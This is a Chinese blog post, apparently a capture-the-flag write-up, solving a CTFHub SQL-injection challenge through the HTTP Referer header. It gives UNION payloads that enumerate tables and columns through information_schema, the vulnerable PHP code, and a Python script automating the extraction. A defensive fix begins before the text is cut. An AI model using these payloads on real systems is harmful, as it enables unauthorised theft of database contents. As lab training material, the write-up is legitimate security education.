{"id":91035,"date":"2026-08-06T18:08:50","date_gmt":"2026-08-06T10:08:50","guid":{"rendered":"https:\/\/www.wsisp.com\/helps\/91035.html"},"modified":"2026-08-06T18:08:50","modified_gmt":"2026-08-06T10:08:50","slug":"ctfhub-referer-%e6%b3%a8%e5%85%a5%e5%ae%9e%e6%88%98%ef%bc%9a%e4%bb%8e%e5%8d%a1%e5%a3%b3%e5%88%b0%e6%8b%bf-flag-%e7%9a%84%e4%b8%80%e5%b0%8f%e6%97%b6%e8%b8%a9%e5%9d%91%e8%ae%b0%e5%bd%95","status":"publish","type":"post","link":"https:\/\/www.wsisp.com\/helps\/91035.html","title":{"rendered":"CTFHub Referer \u6ce8\u5165\u5b9e\u6218\uff1a\u4ece\u5361\u58f3\u5230\u62ff flag \u7684\u4e00\u5c0f\u65f6\u8e29\u5751\u8bb0\u5f55"},"content":{"rendered":"<h2>CTFHub Referer \u6ce8\u5165\u5b9e\u6218&#xff1a;\u4ece\u5361\u58f3\u5230\u62ff flag \u7684\u4e00\u5c0f\u65f6\u8e29\u5751\u8bb0\u5f55<\/h2>\n<p>\u9898\u76ee&#xff1a;CTFHub &#8211; Referer \u6ce8\u5165<br \/>\n\u5b9e\u6218\u65e5\u671f&#xff1a;2026-08-06<br \/>\n\u5bb9\u5668\u5730\u5740&#xff1a;http:\/\/challenge-99ebd9dcdc0b693c.sandbox.ctfhub.com:10800\/<br \/>\n\u6700\u7ec8 flag&#xff1a;ctfhub{07b7ce5d4cc04c4e459a923b}<br \/>\n\u8017\u65f6&#xff1a;\u7ea6\u4e00\u4e2a\u534a\u5c0f\u65f6<\/p>\n<p>\u8fd9\u7bc7\u4e0e\u5176\u8bf4\u662f\u6559\u7a0b&#xff0c;\u4e0d\u5982\u8bf4\u662f\u6211\u7684\u8e29\u5751\u6d41\u6c34\u8d26\u3002\u4e2d\u95f4\u8fd8\u9ad8\u5174\u4e86\u534a\u5929&#xff0c;\u4ee5\u4e3a\u62ff\u5230\u4e86 flag&#xff0c;\u7ed3\u679c\u662f\u5e73\u53f0\u53d1\u7684\u5f69\u86cb&#xff08;\u5047 flag&#xff09;\u3002\u6240\u4ee5\u4e0b\u9762\u65e2\u6709&#034;\u600e\u4e48\u4e00\u6b65\u6b65\u6253\u4e0b\u6765&#034;\u7684\u6b65\u9aa4&#xff0c;\u4e5f\u6709&#034;\u6211\u5f53\u65f6\u4e3a\u4ec0\u4e48\u5361\u4f4f&#034;\u7684\u771f\u5b9e\u8fc7\u7a0b&#xff0c;\u987a\u624b\u628a Referer \u6ce8\u5165\u8fd9\u70b9\u4e8b\u8bb2\u660e\u767d\u3002<\/p>\n<hr \/>\n<h3>\u524d\u60c5&#xff1a;\u90a3\u4e2a\u8ba9\u6211\u767d\u9ad8\u5174\u7684&#034;\u5047 flag&#034;<\/h3>\n<p>\u9898\u76ee\u7ed9\u4e86\u4e00\u4e2a URL&#xff0c;\u6253\u5f00\u662f\u4e2a\u5f88\u6734\u7d20\u7684\u9875\u9762&#xff0c;\u56de\u663e\u5927\u6982\u957f\u8fd9\u6837&#xff1a;<\/p>\n<p>ID: 1<br \/>\nData: ctfhub<\/p>\n<p>\u9875\u9762\u5e95\u4e0b\u8fd8\u628a\u539f\u59cb SQL \u7559\u4e86\u4e00\u53e5&#xff1a;select * from news where id&#061;&#8230;\u3002\u8fd9\u57fa\u672c\u662f\u5728\u660e\u793a&#xff1a;\u67e5\u8be2\u91cc\u6709\u4e2a id \u53c2\u6570&#xff0c;\u800c\u5b83\u7684\u503c\u6765\u81ea\u67d0\u4e2a\u5730\u65b9\u2014\u2014\u533a\u522b\u662f&#xff0c;\u8fd9\u9053\u9898\u7684\u503c\u4e0d\u662f\u4ece URL \u7684 ?id&#061; \u6765\u7684&#xff0c;\u800c\u662f\u4ece HTTP \u8bf7\u6c42\u5934\u7684 Referer \u6765\u7684\u3002\u4e5f\u5c31\u662f\u8bf4&#xff0c;\u6ce8\u5165\u70b9\u5728\u8bf7\u6c42\u5934\u91cc&#xff0c;\u4e0d\u5728\u5730\u5740\u680f\u91cc\u3002<\/p>\n<p>\u505a\u5230\u4e00\u534a&#xff0c;\u5bb9\u5668\u8fc7\u671f\u4e86&#xff0c;\u9875\u9762\u5f39\u51fa&#034;\u73af\u5883\u5df2\u5230\u671f&#034;&#xff0c;\u987a\u624b\u7ed9\u4e86\u6211\u4e00\u4e2a flag&#xff1a;ctfhub{b644d27a30b450b2f170c4f19ef1dd85fb1efc5d}\u3002\u6211\u7f8e\u6ecb\u6ecb\u63d0\u4ea4&#xff0c;\u7ed3\u679c\u662f\u5047\u7684\u2014\u2014\u8fd9\u662f CTFHub \u7684 Skill Egg \u5f69\u86cb&#xff0c;\u4e13\u95e8\u5b89\u6170\u624b\u6ed1\u628a\u73af\u5883\u73a9\u6302\u7684\u4eba&#xff0c;\u4e0d\u662f\u8fd9\u9053\u9898\u7684\u7b54\u6848\u3002\u6240\u4ee5\u5982\u679c\u4f60\u4e5f\u62ff\u5230\u8fd9\u79cd&#034;\u5929\u4e0a\u6389\u4e0b\u6765\u7684 flag&#034;&#xff0c;\u5148\u522b\u4e50&#xff0c;\u591a\u534a\u662f\u5047\u7684\u3002<\/p>\n<hr \/>\n<h3>1. \u6211\u5b9e\u9645\u8e29\u8fc7\u7684\u5751<\/h3>\n<h4>\u4e00\u5f00\u59cb&#xff1a;\u7528 Yakit \u778e fuzz&#xff0c;\u770b\u4e0d\u5230 union \u7684\u7ed3\u679c<\/h4>\n<p>\u6211\u4e0a\u6765\u5e76\u4e0d\u77e5\u9053\u600e\u4e48\u4e0b\u624b&#xff0c;\u5c31\u5f00\u4e86 Yakit \u7684 Web Fuzzer&#xff0c;\u5728 Referer \u91cc\u585e\u5404\u79cd payload \u53bb\u8bd5\u3002\u80fd\u770b\u5230\u7684\u6c38\u8fdc\u53ea\u6709\u539f\u59cb\u90a3\u884c&#xff1a;ID: 1&lt;\/br&gt;Data: ctfhub\u3002union \u7684\u7ed3\u679c\u6b7b\u6d3b\u4e0d\u51fa\u73b0\u3002<\/p>\n<p>\u6211\u751a\u81f3\u8fd8\u5199\u4e86\u4e2a Python \u811a\u672c\u6279\u91cf\u8dd1 payload&#xff0c;\u7167\u6837\u62ff\u4e0d\u5230\u3002\u95ee\u9898\u4e0d\u5728\u5de5\u5177&#xff0c;\u5728\u6211\u6784\u9020\u7684 payload \u672c\u8eab\u3002<\/p>\n<h4>\u5751\u4e00&#xff1a;\u7528\u4e86\u5355\u5f15\u53f7<\/h4>\n<p>\u6211\u6700\u5f00\u59cb\u5199\u7684\u662f&#xff1a;<\/p>\n<p>Referer: 1&#039; union select 1,2 &#8211;&#043;<\/p>\n<p>\u7ed3\u679c\u6574\u4e2a\u67e5\u8be2\u76f4\u63a5\u6302\u6389&#xff0c;\u8fd4\u56de\u7a7a\u3002\u540e\u6765\u624d\u53cd\u5e94\u8fc7\u6765&#xff1a;\u8fd9\u4e2a\u6ce8\u5165\u70b9\u662f\u6570\u5b57\u578b\u7684&#xff0c;\u540e\u7aef\u5927\u6982\u7387\u662f\u628a Referer \u5f53\u6210\u6570\u5b57\u76f4\u63a5\u62fc\u8fdb id&#061;$referer&#xff0c;\u6839\u672c\u4e0d\u9700\u8981&#xff08;\u4e5f\u4e0d\u8be5\u6709&#xff09;\u5355\u5f15\u53f7\u53bb\u95ed\u5408\u3002\u5e26\u4e0a\u5355\u5f15\u53f7\u53cd\u800c\u628a\u8bed\u6cd5\u641e\u574f\u4e86\u3002<\/p>\n<p>\u6539\u6210\u4e0d\u5e26\u5355\u5f15\u53f7\u7684\u5199\u6cd5&#xff0c;\u67e5\u8be2\u624d\u6b63\u5e38\u8fd4\u56de&#xff1a;<\/p>\n<p>Referer: -1 union select 1,2<\/p>\n<h4>\u5751\u4e8c&#xff1a;\u7528 id&#061;1&#xff0c;union \u7684\u7ed3\u679c\u88ab\u539f\u6570\u636e\u76d6\u4f4f\u4e86<\/h4>\n<p>\u5149\u53bb\u6389\u5355\u5f15\u53f7\u8fd8\u4e0d\u591f\u3002\u4e00\u5f00\u59cb\u6211\u7528\u7684\u662f 1 union select 1,2&#xff0c;\u9875\u9762\u8fd8\u662f\u53ea\u663e\u793a id&#061;1 \u7684\u539f\u59cb\u6570\u636e ctfhub&#xff0c;union \u7684 2 \u6839\u672c\u770b\u4e0d\u89c1\u3002<\/p>\n<p>\u539f\u56e0\u5f88\u7b80\u5355&#xff1a;id&#061;1 \u5728\u6570\u636e\u5e93\u91cc\u662f\u771f\u5b9e\u5b58\u5728\u7684&#xff0c;\u539f\u67e5\u8be2\u6709\u7ed3\u679c&#xff0c;union \u51fa\u6765\u7684\u7b2c\u4e8c\u884c\u88ab\u6324\u5230\u540e\u9762\u6ca1\u4eba\u770b\u3002\u8981\u8ba9 union \u7684\u7ed3\u679c&#034;\u6d6e\u4e0a\u6765&#034;&#xff0c;\u5f97\u8ba9\u539f\u67e5\u8be2\u67e5\u4e0d\u5230\u4e1c\u897f\u2014\u2014\u4e8e\u662f\u7528 -1&#xff1a;<\/p>\n<p>Referer: -1 union select 1,2<\/p>\n<p>id&#061;-1 \u4e0d\u5b58\u5728&#xff0c;\u539f\u67e5\u8be2\u8fd4\u56de\u7a7a&#xff0c;union \u7684 1,2 \u5c31\u6210\u4e86\u552f\u4e00\u80fd\u663e\u793a\u7684\u4e1c\u897f\u3002\u9875\u9762\u56de\u663e\u53d8\u6210\u4e86 ID: 1&lt;\/br&gt;Data: 2&#xff0c;\u8fd9\u4e00\u6b65\u786e\u8ba4\u4e86\u4e24\u4ef6\u4e8b&#xff1a;\u6ce8\u5165\u901a\u4e86&#xff0c;\u800c\u4e14\u67e5\u8be2\u6709\u4e24\u4e2a\u5b57\u6bb5\u3002\u540e\u9762\u6240\u6709 payload \u90fd\u5efa\u7acb\u5728\u8fd9\u4e24\u4e2a\u8ba4\u77e5\u4e0a\u3002<\/p>\n<h4>\u5751\u4e09&#xff1a;\u628a\u8868\u540d\u770b\u9519\u4e86<\/h4>\n<p>\u62ff\u5230\u8868\u540d\u4e4b\u540e&#xff0c;\u6211\u624b\u6ed1\u628a sfifprdzeu \u6284\u6210\u4e86 stifprdzeu&#xff08;\u591a\u6253\u4e86\u4e2a t&#xff09;&#xff0c;\u62ff\u53bb\u67e5\u5217\u540d&#xff0c;\u8fd4\u56de\u7a7a\u3002\u5bf9\u7740\u62a5\u9519\u6123\u4e86\u4e00\u4f1a\u513f\u624d\u56de\u53bb\u6bd4\u5bf9&#xff0c;\u786e\u8ba4\u662f sfifprdzeu&#xff08;\u5c11\u4e2a t&#xff09;\u3002\u8fd9\u79cd\u4f4e\u7ea7\u9519\u8bef\u5728 CTF \u91cc\u7279\u522b\u5e38\u89c1&#xff0c;\u8868\u540d\u5217\u540d\u4e00\u5b9a\u590d\u5236&#xff0c;\u4e0d\u8981\u624b\u6572\u3002<\/p>\n<hr \/>\n<h3>2. \u628a\u8fd9\u4e2a\u6ce8\u5165\u8bb2\u900f&#xff08;\u7701\u5f97\u4e0b\u6b21\u53c8\u5361&#xff09;<\/h3>\n<h4>2.1 \u4e3a\u4ec0\u4e48\u662f\u6570\u5b57\u578b\u3001\u4e0d\u7528\u5f15\u53f7<\/h4>\n<p>\u770b\u540e\u7aef\u8fd9\u6bb5\u4ee3\u7801\u5c31\u6e05\u695a\u4e86&#xff1a;<\/p>\n<p><span class=\"token variable\">$referer<\/span> <span class=\"token operator\">&#061;<\/span> <span class=\"token variable\">$_SERVER<\/span><span class=\"token punctuation\">[<\/span><span class=\"token string single-quoted-string\">&#039;HTTP_REFERER&#039;<\/span><span class=\"token punctuation\">]<\/span><span class=\"token punctuation\">;<\/span><br \/>\n<span class=\"token variable\">$sql<\/span> <span class=\"token operator\">&#061;<\/span> <span class=\"token string double-quoted-string\">&#034;SELECT * FROM news WHERE id&#061;<span class=\"token interpolation\"><span class=\"token variable\">$referer<\/span><\/span>&#034;<\/span><span class=\"token punctuation\">;<\/span><br \/>\n<span class=\"token variable\">$result<\/span> <span class=\"token operator\">&#061;<\/span> <span class=\"token function\">mysqli_query<\/span><span class=\"token punctuation\">(<\/span><span class=\"token variable\">$conn<\/span><span class=\"token punctuation\">,<\/span> <span class=\"token variable\">$sql<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">;<\/span><\/p>\n<p>id&#061;$referer \u76f4\u63a5\u5f53\u6570\u5b57\u7528&#xff0c;\u6ca1\u6709\u5f15\u53f7\u5305\u88f9\u3002\u6240\u4ee5\u6211\u4eec\u7684 payload \u76f4\u63a5\u5199 -1 union select 1,2 \u5c31\u884c\u3002\u53ea\u6709\u5b57\u7b26\u578b&#xff08;\u6bd4\u5982 WHERE name&#061;&#039;$referer&#039;&#xff09;\u624d\u9700\u8981\u5355\u5f15\u53f7\u53bb\u95ed\u5408\u3002\u5224\u65ad\u9519\u7c7b\u578b&#xff0c;\u6ce8\u5165\u4ece\u7b2c\u4e00\u6b65\u5c31\u5e9f\u4e86\u3002<\/p>\n<h4>2.2 \u4e3a\u4ec0\u4e48\u7528 -1<\/h4>\n<p><span class=\"token keyword\">SELECT<\/span> <span class=\"token operator\">*<\/span> <span class=\"token keyword\">FROM<\/span> news <span class=\"token keyword\">WHERE<\/span> id<span class=\"token operator\">&#061;<\/span><span class=\"token operator\">&#8211;<\/span><span class=\"token number\">1<\/span> <span class=\"token keyword\">UNION<\/span> <span class=\"token keyword\">SELECT<\/span> <span class=\"token number\">1<\/span><span class=\"token punctuation\">,<\/span><span class=\"token number\">2<\/span><\/p>\n<p>id&#061;-1 \u5728\u539f\u8868\u91cc\u67e5\u65e0\u6b64\u884c&#xff0c;\u524d\u534a\u90e8\u5206\u8fd4\u56de\u7a7a&#xff1b;UNION \u7684\u540e\u534a\u90e8\u5206 SELECT 1,2 \u5c31\u6210\u4e86\u9875\u9762\u552f\u4e00\u7684\u6570\u636e\u6765\u6e90\u3002\u5982\u679c\u7528 id&#061;1&#xff0c;\u539f\u884c\u6709\u6570\u636e&#xff0c;union \u7684\u7b2c\u4e8c\u884c\u4e0d\u4f1a\u8986\u76d6\u5b83&#xff0c;\u4f60\u5c31\u53ea\u80fd\u770b\u5230 ctfhub&#xff0c;\u770b\u4e0d\u89c1\u81ea\u5df1\u6ce8\u5165\u51fa\u6765\u7684\u503c\u3002<\/p>\n<p>\u4e00\u53e5\u8bdd&#xff1a;\u7528\u4e0d\u5b58\u5728\u7684 id \u628a\u539f\u67e5\u8be2\u7ed3\u679c\u6e05\u7a7a&#xff0c;\u8ba9 union \u7684\u7ed3\u679c\u72ec\u5360\u56de\u663e\u3002<\/p>\n<h4>2.3 \u9875\u9762\u662f\u600e\u4e48\u628a\u7ed3\u679c&#034;\u5410&#034;\u51fa\u6765\u7684<\/h4>\n<p>\u56de\u663e ID: 1&lt;\/br&gt;Data: ctfhub \u4e0d\u662f\u968f\u4fbf\u6253\u7684&#xff0c;\u5b83\u5bf9\u5e94\u540e\u7aef\u5927\u6982\u662f\u8fd9\u6837\u53d6\u5b57\u6bb5\u7684&#xff1a;<\/p>\n<p><span class=\"token variable\">$row<\/span> <span class=\"token operator\">&#061;<\/span> <span class=\"token function\">mysqli_fetch_array<\/span><span class=\"token punctuation\">(<\/span><span class=\"token variable\">$result<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">;<\/span><br \/>\n<span class=\"token keyword\">echo<\/span> <span class=\"token string double-quoted-string\">&#034;ID: &#034;<\/span> <span class=\"token operator\">.<\/span> <span class=\"token variable\">$row<\/span><span class=\"token punctuation\">[<\/span><span class=\"token string single-quoted-string\">&#039;id&#039;<\/span><span class=\"token punctuation\">]<\/span> <span class=\"token operator\">.<\/span> <span class=\"token string double-quoted-string\">&#034;&lt;\/br&gt;Data: &#034;<\/span> <span class=\"token operator\">.<\/span> <span class=\"token variable\">$row<\/span><span class=\"token punctuation\">[<\/span><span class=\"token string single-quoted-string\">&#039;data&#039;<\/span><span class=\"token punctuation\">]<\/span><span class=\"token punctuation\">;<\/span><\/p>\n<p>SELECT * \u628a\u4e24\u5217\u90fd\u53d6\u51fa\u6765\u4e86&#xff1a;\u7b2c\u4e00\u5217 id \u663e\u793a\u5728 ID: \u540e\u9762&#xff0c;\u7b2c\u4e8c\u5217 data \u663e\u793a\u5728 Data: \u540e\u9762\u3002\u6240\u4ee5\u6211\u4eec union select 1,2 \u65f6&#xff0c;2 \u51fa\u73b0\u5728 Data: \u540e\u9762\u2014\u2014\u8fd9\u5c31\u544a\u8bc9\u6211\u4eec&#xff1a;\u7b2c\u4e8c\u4e2a\u5b57\u6bb5\u662f\u9875\u9762\u53ef\u89c1\u7684\u56de\u663e\u4f4d\u3002\u540e\u9762\u67e5\u8868\u540d\u3001\u67e5\u5217\u540d\u3001\u8bfb flag&#xff0c;\u5168\u90e8\u4e22\u8fdb\u7b2c\u4e8c\u4e2a\u4f4d\u7f6e\u3002<\/p>\n<p>\u987a\u4fbf&#xff0c;\u786e\u8ba4\u5b57\u6bb5\u6570\u66f4\u7a33\u59a5\u7684\u529e\u6cd5\u662f\u7528 ORDER BY \u4e8c\u5206&#xff1a;<\/p>\n<p>Referer: -1 order by 3 &#8211;&#043;<\/p>\n<p>\u62a5\u9519\u8bf4\u660e\u5b57\u6bb5\u6570\u5c0f\u4e8e 3&#xff0c;\u518d\u8bd5 order by 2 \u6b63\u5e38&#xff0c;\u5c31\u80fd\u9501\u5b9a\u662f 2 \u5217\u3002\u6bd4\u76f4\u63a5\u731c 1,2 \u4e25\u8c28\u70b9&#xff0c;\u5c24\u5176\u9047\u5230\u5217\u6570\u4e0d\u660e\u7684\u60c5\u51b5\u3002<\/p>\n<hr \/>\n<h3>3. \u5b8c\u6574\u62ff flag \u7684\u56db\u6b65<\/h3>\n<p>\u4e0b\u9762\u662f\u6211\u6700\u7ec8\u6253\u901a\u7684\u6d41\u7a0b\u3002\u6ce8\u610f&#xff1a;\u8868\u540d\u548c\u5217\u540d\u662f\u5bb9\u5668\u968f\u673a\u751f\u6210\u7684&#xff0c;\u4f60\u90a3\u8fb9\u4e00\u5b9a\u4e0d\u4e00\u6837&#xff0c;\u6240\u4ee5\u6bcf\u4e00\u6b65\u7684\u7ed3\u679c\u90fd\u8981\u7528\u4e0a\u4e00\u6b65\u771f\u5b9e\u8fd4\u56de\u7684\u503c&#xff0c;\u522b\u7167\u6284\u6211\u7684\u3002<\/p>\n<h4>\u6b65\u9aa4 1&#xff1a;\u786e\u8ba4\u6ce8\u5165\u70b9\u548c\u5b57\u6bb5\u6570<\/h4>\n<p>Referer: -1 union select 1,2<\/p>\n<p>\u56de\u663e Data: 2 \u5373\u8bc1\u660e\u6ce8\u5165\u5b58\u5728\u3001\u5171 2 \u4e2a\u5b57\u6bb5\u3002<\/p>\n<h4>\u6b65\u9aa4 2&#xff1a;\u62d6\u51fa\u6240\u6709\u8868\u540d<\/h4>\n<p>Referer: -1 union select 1,group_concat(table_name) from information_schema.tables where table_schema&#061;database()<\/p>\n<p>\u6211\u8fd9\u8fb9\u8fd4\u56de&#xff1a;sfifprdzeu,news\u3002<\/p>\n<ul>\n<li>information_schema.tables \u662f MySQL \u5b58&#034;\u6240\u6709\u8868&#034;\u7684\u7cfb\u7edf\u8868&#xff1b;<\/li>\n<li>table_schema&#061;database() \u9650\u5b9a\u5728\u5f53\u524d\u6570\u636e\u5e93&#xff1b;<\/li>\n<li>group_concat() \u628a\u591a\u884c\u8868\u540d\u62fc\u6210\u4e00\u884c&#xff0c;\u65b9\u4fbf\u4e00\u6b21\u770b\u5168&#xff1b;<\/li>\n<li>news \u662f\u9898\u76ee\u672c\u6765\u7684\u8868&#xff0c;sfifprdzeu \u662f\u90a3\u4e2a\u968f\u673a\u547d\u540d\u7684\u53ef\u7591\u8868&#xff08;flag \u5c31\u85cf\u8fd9&#xff09;\u3002\u628a news \u6392\u9664\u6389\u5c31\u662f\u76ee\u6807\u3002<\/li>\n<\/ul>\n<h4>\u6b65\u9aa4 3&#xff1a;\u67e5\u8fd9\u4e2a\u8868\u7684\u5217\u540d<\/h4>\n<p>Referer: -1 union select 1,group_concat(column_name) from information_schema.columns where table_name&#061;&#039;sfifprdzeu&#039;<\/p>\n<p>\u8fd4\u56de&#xff1a;jayplrioux\u3002\u8fd9\u5c31\u662f\u5b58\u653e flag \u7684\u5217\u3002&#xff08;\u518d\u6b21\u63d0\u9192&#xff0c;\u8868\u540d\u4ece\u6b65\u9aa4 2 \u590d\u5236&#xff0c;\u522b\u624b\u6572\u3002&#xff09;<\/p>\n<h4>\u6b65\u9aa4 4&#xff1a;\u8bfb flag<\/h4>\n<p>Referer: -1 union select 1,jayplrioux from sfifprdzeu<\/p>\n<p>\u56de\u663e&#xff1a;ctfhub{07b7ce5d4cc04c4e459a923b}\u3002\u62ff\u5230\u3002<\/p>\n<p>\u987a\u624b\u63d0\u51e0\u4e2a\u5e38\u7528\u7684\u65c1\u652f\u4fe1\u606f&#xff0c;\u6709\u65f6\u5019\u9898\u76ee\u4e0d\u76f4\u63a5\u7ed9 flag \u800c\u662f\u8ba9\u4f60\u786e\u8ba4\u73af\u5883&#xff0c;\u7528\u5f97\u4e0a&#xff1a;<\/p>\n<table>\n<tr>\u51fd\u6570\u4f5c\u7528\u793a\u4f8b<\/tr>\n<tbody>\n<tr>\n<td>database()<\/td>\n<td>\u5f53\u524d\u6570\u636e\u5e93\u540d<\/td>\n<td>select database()<\/td>\n<\/tr>\n<tr>\n<td>version()<\/td>\n<td>\u6570\u636e\u5e93\u7248\u672c<\/td>\n<td>select version()<\/td>\n<\/tr>\n<tr>\n<td>user()<\/td>\n<td>\u5f53\u524d\u8fde\u63a5\u7528\u6237<\/td>\n<td>select user()<\/td>\n<\/tr>\n<tr>\n<td>group_concat()<\/td>\n<td>\u591a\u884c\u5408\u5e76\u6210\u4e00\u884c<\/td>\n<td>group_concat(table_name)<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<hr \/>\n<h3>4. \u7528 Python \u4e00\u628a\u68ad<\/h3>\n<p>\u624b\u52a8\u5728 Yakit \u91cc\u6539\u56db\u6b21 Referer \u4e5f\u80fd\u505a&#xff0c;\u4f46\u65e2\u7136\u662f\u5199\u7b14\u8bb0&#xff0c;\u4e0d\u5982\u5199\u4e2a\u811a\u672c\u628a\u56db\u6b65\u4e32\u8d77\u6765&#xff0c;\u4e0b\u6b21\u6362\u4e2a\u5bb9\u5668\u76f4\u63a5\u8dd1&#xff1a;<\/p>\n<p><span class=\"token keyword\">import<\/span> requests<br \/>\n<span class=\"token keyword\">import<\/span> re<\/p>\n<p>url <span class=\"token operator\">&#061;<\/span> <span class=\"token string\">&#034;http:\/\/challenge-99ebd9dcdc0b693c.sandbox.ctfhub.com:10800\/&#034;<\/span><\/p>\n<p><span class=\"token keyword\">def<\/span> <span class=\"token function\">referer<\/span><span class=\"token punctuation\">(<\/span>payload<span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">:<\/span><br \/>\n    r <span class=\"token operator\">&#061;<\/span> requests<span class=\"token punctuation\">.<\/span>get<span class=\"token punctuation\">(<\/span>url<span class=\"token punctuation\">,<\/span> headers<span class=\"token operator\">&#061;<\/span><span class=\"token punctuation\">{<\/span><span class=\"token string\">&#034;Referer&#034;<\/span><span class=\"token punctuation\">:<\/span> payload<span class=\"token punctuation\">}<\/span><span class=\"token punctuation\">,<\/span> timeout<span class=\"token operator\">&#061;<\/span><span class=\"token number\">10<\/span><span class=\"token punctuation\">)<\/span><br \/>\n    <span class=\"token comment\"># \u4ece\u56de\u663e\u91cc\u6293 Data: \u540e\u9762\u90a3\u6bb5<\/span><br \/>\n    m <span class=\"token operator\">&#061;<\/span> re<span class=\"token punctuation\">.<\/span>search<span class=\"token punctuation\">(<\/span><span class=\"token string\">r&#034;Data: (.&#043;?)&lt;&#034;<\/span><span class=\"token punctuation\">,<\/span> r<span class=\"token punctuation\">.<\/span>text<span class=\"token punctuation\">)<\/span><br \/>\n    <span class=\"token keyword\">return<\/span> m<span class=\"token punctuation\">.<\/span>group<span class=\"token punctuation\">(<\/span><span class=\"token number\">1<\/span><span class=\"token punctuation\">)<\/span> <span class=\"token keyword\">if<\/span> m <span class=\"token keyword\">else<\/span> <span class=\"token string\">&#034;&#034;<\/span><\/p>\n<p><span class=\"token comment\"># 1. \u786e\u8ba4\u6ce8\u5165<\/span><br \/>\n<span class=\"token keyword\">print<\/span><span class=\"token punctuation\">(<\/span><span class=\"token string\">&#034;[1] \u6ce8\u5165\u6d4b\u8bd5:&#034;<\/span><span class=\"token punctuation\">,<\/span> referer<span class=\"token punctuation\">(<\/span><span class=\"token string\">&#034;-1 union select 1,2&#034;<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">)<\/span><\/p>\n<p><span class=\"token comment\"># 2. \u62ff\u8868\u540d<\/span><br \/>\ntables <span class=\"token operator\">&#061;<\/span> referer<span class=\"token punctuation\">(<\/span><br \/>\n    <span class=\"token string\">&#034;-1 union select 1,group_concat(table_name) &#034;<\/span><br \/>\n    <span class=\"token string\">&#034;from information_schema.tables where table_schema&#061;database()&#034;<\/span><br \/>\n<span class=\"token punctuation\">)<\/span><br \/>\n<span class=\"token keyword\">print<\/span><span class=\"token punctuation\">(<\/span><span class=\"token string\">&#034;[2] \u8868\u540d:&#034;<\/span><span class=\"token punctuation\">,<\/span> tables<span class=\"token punctuation\">)<\/span><\/p>\n<p><span class=\"token comment\"># \u6392\u9664\u6b63\u5e38\u7684 news \u8868&#xff0c;\u5269\u4e0b\u7684\u5c31\u662f flag \u8868<\/span><br \/>\nflag_table <span class=\"token operator\">&#061;<\/span> <span class=\"token punctuation\">[<\/span>t <span class=\"token keyword\">for<\/span> t <span class=\"token keyword\">in<\/span> tables<span class=\"token punctuation\">.<\/span>split<span class=\"token punctuation\">(<\/span><span class=\"token string\">&#034;,&#034;<\/span><span class=\"token punctuation\">)<\/span> <span class=\"token keyword\">if<\/span> t <span class=\"token operator\">!&#061;<\/span> <span class=\"token string\">&#034;news&#034;<\/span><span class=\"token punctuation\">]<\/span><span class=\"token punctuation\">[<\/span><span class=\"token number\">0<\/span><span class=\"token punctuation\">]<\/span><br \/>\n<span class=\"token keyword\">print<\/span><span class=\"token punctuation\">(<\/span><span class=\"token string\">&#034;    \u76ee\u6807\u8868:&#034;<\/span><span class=\"token punctuation\">,<\/span> flag_table<span class=\"token punctuation\">)<\/span><\/p>\n<p><span class=\"token comment\"># 3. \u62ff\u5217\u540d<\/span><br \/>\ncolumn <span class=\"token operator\">&#061;<\/span> referer<span class=\"token punctuation\">(<\/span><br \/>\n    <span class=\"token string-interpolation\"><span class=\"token string\">f&#034;-1 union select 1,group_concat(column_name) &#034;<\/span><\/span><br \/>\n    <span class=\"token string-interpolation\"><span class=\"token string\">f&#034;from information_schema.columns where table_name&#061;&#039;<\/span><span class=\"token interpolation\"><span class=\"token punctuation\">{<\/span>flag_table<span class=\"token punctuation\">}<\/span><\/span><span class=\"token string\">&#039;&#034;<\/span><\/span><br \/>\n<span class=\"token punctuation\">)<\/span><br \/>\n<span class=\"token keyword\">print<\/span><span class=\"token punctuation\">(<\/span><span class=\"token string\">&#034;[3] \u5217\u540d:&#034;<\/span><span class=\"token punctuation\">,<\/span> column<span class=\"token punctuation\">)<\/span><\/p>\n<p><span class=\"token comment\"># 4. \u8bfb flag<\/span><br \/>\nflag <span class=\"token operator\">&#061;<\/span> referer<span class=\"token punctuation\">(<\/span><span class=\"token string-interpolation\"><span class=\"token string\">f&#034;-1 union select 1,<\/span><span class=\"token interpolation\"><span class=\"token punctuation\">{<\/span>column<span class=\"token punctuation\">}<\/span><\/span><span class=\"token string\"> from <\/span><span class=\"token interpolation\"><span class=\"token punctuation\">{<\/span>flag_table<span class=\"token punctuation\">}<\/span><\/span><span class=\"token string\">&#034;<\/span><\/span><span class=\"token punctuation\">)<\/span><br \/>\n<span class=\"token keyword\">print<\/span><span class=\"token punctuation\">(<\/span><span class=\"token string\">&#034;[4] Flag:&#034;<\/span><span class=\"token punctuation\">,<\/span> flag<span class=\"token punctuation\">)<\/span><\/p>\n<p>\u8dd1\u5b8c\u57fa\u672c\u5c31\u662f\u56db\u884c\u8f93\u51fa&#xff0c;\u6700\u540e\u4e00\u884c\u5c31\u662f flag\u3002\u6b63\u5219 Data: (.&#043;?)&lt; \u4f9d\u8d56\u9898\u76ee\u56de\u663e\u683c\u5f0f&#xff0c;\u5982\u679c\u6362\u9898\u683c\u5f0f\u53d8\u4e86&#xff0c;\u6539\u8fd9\u4e00\u5904\u5373\u53ef\u3002<\/p>\n<hr \/>\n<h3>5. \u9632\u5fa1\u89c6\u89d2<\/h3>\n<p>\u65e2\u7136\u662f\u4ece\u4ee3\u7801\u5c42\u9762\u7406\u89e3\u6f0f\u6d1e&#xff0c;\u4e0d\u5982\u4e5f\u770b\u770b\u600e\u4e48\u4fee\u3002\u6f0f\u6d1e\u6839\u56e0\u5c31\u4e00\u53e5&#xff1a;\u628a\u5ba2\u6237\u7aef\u53ef\u63a7\u7684 Referer \u76f4\u63a5\u62fc\u8fdb SQL&#xff0c;\u6ca1\u6709\u4efb\u4f55\u5904\u7406\u3002<\/p>\n<p>\u6700\u7701\u4e8b\u7684\u4fee\u6cd5\u2014\u2014\u65e2\u7136 id \u672c\u6765\u5c31\u662f\u6570\u5b57&#xff0c;\u5148\u5f3a\u8f6c\u6210\u6574\u6570\u518d\u62fc&#xff1a;<\/p>\n<p><span class=\"token variable\">$referer<\/span> <span class=\"token operator\">&#061;<\/span> <span class=\"token punctuation\">(<\/span><span class=\"token keyword type-casting\">int<\/span><span class=\"token punctuation\">)<\/span><span class=\"token variable\">$_SERVER<\/span><span class=\"token punctuation\">[<\/span><span 